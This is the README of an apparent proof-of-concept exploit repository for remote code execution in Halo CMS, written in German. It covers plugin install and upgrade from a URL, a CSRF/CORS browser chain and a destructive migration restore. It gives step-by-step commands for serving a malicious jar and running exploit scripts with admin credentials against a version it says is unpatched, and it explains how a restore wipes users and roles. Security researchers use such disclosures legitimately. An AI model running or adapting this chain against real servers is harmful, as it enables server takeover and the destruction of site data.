
Halo-CMS-Plugin: RCE mit einer einzigen Anfrage von einer URL aus, PoC + Exploit-Kette
Die Halo-Konsole erlaubt es Administratoren, Plugins zu installieren und zu aktualisieren, indem sie eine URL einfügen. Sie holt die angegebene URL, installiert das Jar, und der Code des Jars läuft auf dem Server. Keine Scheme-Prüfungen, keine Host-Prüfungen, Redirects werden verfolgt, und der Plugin-Manager lädt die Erweiterungsklassen direkt aus dem Jar.
Das ist CVE-2026-67919 (install-from-uri / upgrade-from-uri), CVE-2026-67920 (migration restore), CVE-2026-67921 (csrf/cors-Kette). Alle drei verifiziert gegen halohub/halo:2.25.4 in einem Docker-Labor, August 2026. main ist weiterhin ungepatcht.
Das Lustige daran: Es ist auch eine reine Browser-Kette. Die Konsolen-API prüft das XSRF-Token nicht, das Session-Cookie ist samesite=none, und CORS reflektiert jede Origin mit Credentials. Eine Seite, die der Admin besucht, kann das alles mit fetch() erledigen. Siehe exploit/csrf.html.
docker run -d --name halo -p 8090:8090 halohub/halo:2.25.4
# /system/setup einmal besuchen oder per Skript erledigen (siehe notes/findings.md)
Ein Jar vom Host ausliefern (gebunden an 0.0.0.0, der Container erreicht den Host als host.docker.internal):
python3 -m http.server 8123
Das bösartige Plugin bauen (benötigt JDK 17):
cd plugin && sh build.sh
dann:
cd exploit && python3 -m pip install -r requirements.txt
./rce_install.py http://localhost:8090 admin 'Admin@12345' \
http://host.docker.internal:8123/poc-plugin.jar
docker exec halo cat /tmp/pwned
Jedes bereits installierte Plugin kann mit einem einzigen Request ersetzt werden; das Jar muss nur denselben metadata.name und eine höhere Version haben. poc-sitemap.jar ist diese Variante für das eingebaute PluginSitemap (1.x -> 2.0.0).
./rce_upgrade.py http://localhost:8090 admin 'Admin@12345' \
PluginSitemap http://host.docker.internal:8123/poc-sitemap.jar
docker exec halo cat /tmp/pwned
exploit/csrf.html öffnen, auf dein Halo zeigen lassen, klicken. Das ist die CVE-2026-67921 -> CVE-2026-67919-Kette: kein XSRF-Header, das Session-Cookie geht Cross-Site, CORS erlaubt das Auslesen.
Nur Admin, egal was die CISA-Beschreibung sagt. Anonym bekommt eine 302, Gast eine 403, Admin bekommt Code-Ausführung. Die CSRF-Kette bleibt interessant, weil der Admin bereits eingeloggt ist, wenn die Seite läuft.
Restores holen eine beliebige URL (ein weiteres Fetch-Primitiv), schreiben das workdir/ des Zips ungeprüft in das Halo-Arbeitsverzeichnis und ersetzen den gesamten Extension-Store mit den Inhalten des Backups. Ein leeres extensions.data löscht Benutzer, Rollenbindungen und Einstellungen. exploit/migration_restore.py nur auf einem Wegwerf-Rechner verwenden.
exploit/ login.py, rce_install.py, rce_upgrade.py,
migration_restore.py, csrf.html
plugin/ plugin.yaml, Exploit.java, plugin-components.idx,
build.sh, vorab gebaute Jars
notes/ findings.md (Berechtigungsleiter, Fetcher-Verhalten,
Cookie-/CORS-Details, Fix-Status)
Für die 1-Request-Variante plugin/plugin.yaml bearbeiten (metadata.name + Version) und neu bauen; oder das vorgebaute poc-sitemap.jar gegen ein Halo verwenden, auf dem PluginSitemap installiert ist.
Haftungsausschluss: für Forschung an Systemen, die dir gehören. Besonders die Migration-Variante wird die Instanz, gegen die sie läuft, ruinieren.
chris jagdeo (k0nnect)